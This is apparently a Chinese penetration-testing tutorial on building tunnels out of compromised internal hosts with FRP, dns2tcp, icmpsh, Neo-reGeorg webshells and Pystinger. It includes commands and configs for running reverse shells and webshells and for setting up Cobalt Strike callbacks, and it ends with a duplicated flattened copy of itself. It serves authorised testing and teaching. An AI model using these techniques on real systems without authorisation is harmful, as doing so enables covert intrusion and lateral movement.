内网渗透之主机出网OR不出网隧道搭建
字数 1693 2025-08-15 21:32:45

内网渗透之主机出网与不出网隧道搭建技术详解

一、概述

在内网渗透过程中,获取目标服务器权限后,建立隧道是进行内网横向移动的关键步骤。根据目标主机是否能够出网(连接外部网络),隧道搭建技术可分为出网情况和不出网情况两大类。

二、出网情况隧道搭建

1. FRP隧道搭建

简介:FRP是一个高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议。

工具地址:https://github.com/fatedier/frp/

搭建步骤

  1. 准备文件:

    • frps (服务端程序)
    • frps.ini (服务端配置文件)
    • frpc (客户端程序)
    • frpc.ini (客户端配置文件)
  2. 修改客户端配置文件(frpc.ini):

    [common]
    server_addr = 服务端IP
    server_port = 服务端监听端口
    
    [socks5]
    type = tcp
    remote_port = 代理端口
    plugin = socks5
    
  3. 上传客户端文件至目标服务器并启动:

    ./frpc -c frpc.ini
    
  4. 服务端启动监听:

    ./frps -c frps.ini
    
  5. 使用Proxifier等工具配置全局代理

2. DNS隧道搭建

简介:利用DNS协议进行数据传输,适用于严格网络限制环境。

工具地址:https://github.com/HEYAHONG/dns2tcp

准备工作

  • 准备一个域名(如123.com)
  • 配置DNS记录:
    a.123.com NS b.123.com
    b.123.com A 1.1.1.1 (服务器IP)
    

搭建步骤

  1. 服务端配置(dns2tcpd.conf):

    listen = 0.0.0.0
    port = 53
    user = root
    chroot = /home/
    domain = a.123.com
    key = 123
    resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080
    
  2. 启动服务端:

    dns2tcpd -F -d 3 -f /home/dns2tcpd.conf
    
  3. 客户端连接:

    dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2
    
  4. 使用nc进行文件传输

3. ICMP隧道搭建

简介:利用ICMP协议(ping)进行数据传输,适用于防火墙不屏蔽ping的环境。

工具地址:https://github.com/inquisb/icmpsh

搭建步骤

  1. 服务端启动:

    python icmpsh_m.py 本地IP 目标IP
    
  2. 目标机执行:

    icmpsh.exe -t 目标IP
    

三、不出网情况隧道搭建

1. Neo-reGeorg隧道

简介:基于webshell的代理工具,是reGeorg的升级版,隐蔽性更强。

工具地址:https://github.com/L-codes/Neo-reGeorg

搭建步骤

  1. 生成webshell:

    python neoreg.py generate -k password
    
  2. 上传生成的webshell到目标服务器

  3. 启动监听:

    python neoreg.py -k password -u http://目标URL/tunnel.php
    
  4. 配置socks代理访问内网

2. Pystinger(毒刺)隧道

简介:通过webshell实现内网socks4代理,支持CS/MSF上线。

工具地址:https://github.com/FunnyWolf/pystinger

功能

  • 内网socks4代理
  • CS/MSF上线

搭建步骤

A. socks4隧道搭建

  1. 上传proxy.php和stinger_server.exe到目标服务器

  2. 目标服务器执行:

    start stinger_server.exe
    
  3. 本地服务器执行:

    ./stinger_client -w http://目标URL/proxy.php -l 0.0.0.0 -p 60000
    
  4. 使用Proxifier等工具配置代理

B. CS上线

  1. 上传proxy.php和stinger_server.exe到目标服务器

  2. 使用冰蝎启动stinger_server.exe

  3. 本地服务器执行:

    ./stinger_client -w http://目标URL/proxy.php -l 0.0.0.0 -p 60000
    
  4. CS监听端口60020

  5. 生成powershell并利用pystinger执行

四、工具对比与选择建议

工具类型 适用场景 优点 缺点
FRP 出网主机 速度快,支持多种协议 需要配置服务端
DNS隧道 严格网络限制 隐蔽性高 速度慢,需要域名
ICMP隧道 只允许ping的环境 能绕过大多数防火墙 速度最慢
Neo-reGeorg 不出网主机 基于webshell,隐蔽 依赖web服务
Pystinger 不出网主机 功能强大,支持CS上线 需要上传exe文件

五、注意事项

  1. 隧道搭建前应充分进行信息收集,了解目标网络环境
  2. 根据实际网络限制选择合适的隧道技术
  3. 隐蔽性要求高的场景优先选择DNS隧道或ICMP隧道
  4. 不出网环境只能依赖webshell建立代理
  5. 所有操作应在合法授权范围内进行

六、总结

内网渗透中隧道搭建是横向移动的关键技术,本文详细介绍了出网和不出网两种情况下常用的隧道搭建方法。实际渗透测试中应根据目标环境灵活选择合适的技术,并注意操作的隐蔽性和合法性。持续学习和掌握新的隧道技术是内网渗透测试人员必备的技能。

内网渗透之主机出网与不出网隧道搭建技术详解 一、概述 在内网渗透过程中,获取目标服务器权限后,建立隧道是进行内网横向移动的关键步骤。根据目标主机是否能够出网(连接外部网络),隧道搭建技术可分为出网情况和不出网情况两大类。 二、出网情况隧道搭建 1. FRP隧道搭建 简介 :FRP是一个高性能的反向代理应用,支持TCP、UDP、HTTP、HTTPS等多种协议。 工具地址 :https://github.com/fatedier/frp/ 搭建步骤 : 准备文件: frps (服务端程序) frps.ini (服务端配置文件) frpc (客户端程序) frpc.ini (客户端配置文件) 修改客户端配置文件(frpc.ini): 上传客户端文件至目标服务器并启动: 服务端启动监听: 使用Proxifier等工具配置全局代理 2. DNS隧道搭建 简介 :利用DNS协议进行数据传输,适用于严格网络限制环境。 工具地址 :https://github.com/HEYAHONG/dns2tcp 准备工作 : 准备一个域名(如123.com) 配置DNS记录: 搭建步骤 : 服务端配置(dns2tcpd.conf): 启动服务端: 客户端连接: 使用nc进行文件传输 3. ICMP隧道搭建 简介 :利用ICMP协议(ping)进行数据传输,适用于防火墙不屏蔽ping的环境。 工具地址 :https://github.com/inquisb/icmpsh 搭建步骤 : 服务端启动: 目标机执行: 三、不出网情况隧道搭建 1. Neo-reGeorg隧道 简介 :基于webshell的代理工具,是reGeorg的升级版,隐蔽性更强。 工具地址 :https://github.com/L-codes/Neo-reGeorg 搭建步骤 : 生成webshell: 上传生成的webshell到目标服务器 启动监听: 配置socks代理访问内网 2. Pystinger(毒刺)隧道 简介 :通过webshell实现内网socks4代理,支持CS/MSF上线。 工具地址 :https://github.com/FunnyWolf/pystinger 功能 : 内网socks4代理 CS/MSF上线 搭建步骤 : A. socks4隧道搭建 上传proxy.php和stinger_ server.exe到目标服务器 目标服务器执行: 本地服务器执行: 使用Proxifier等工具配置代理 B. CS上线 上传proxy.php和stinger_ server.exe到目标服务器 使用冰蝎启动stinger_ server.exe 本地服务器执行: CS监听端口60020 生成powershell并利用pystinger执行 四、工具对比与选择建议 | 工具类型 | 适用场景 | 优点 | 缺点 | |---------|---------|------|------| | FRP | 出网主机 | 速度快,支持多种协议 | 需要配置服务端 | | DNS隧道 | 严格网络限制 | 隐蔽性高 | 速度慢,需要域名 | | ICMP隧道 | 只允许ping的环境 | 能绕过大多数防火墙 | 速度最慢 | | Neo-reGeorg | 不出网主机 | 基于webshell,隐蔽 | 依赖web服务 | | Pystinger | 不出网主机 | 功能强大,支持CS上线 | 需要上传exe文件 | 五、注意事项 隧道搭建前应充分进行信息收集,了解目标网络环境 根据实际网络限制选择合适的隧道技术 隐蔽性要求高的场景优先选择DNS隧道或ICMP隧道 不出网环境只能依赖webshell建立代理 所有操作应在合法授权范围内进行 六、总结 内网渗透中隧道搭建是横向移动的关键技术,本文详细介绍了出网和不出网两种情况下常用的隧道搭建方法。实际渗透测试中应根据目标环境灵活选择合适的技术,并注意操作的隐蔽性和合法性。持续学习和掌握新的隧道技术是内网渗透测试人员必备的技能。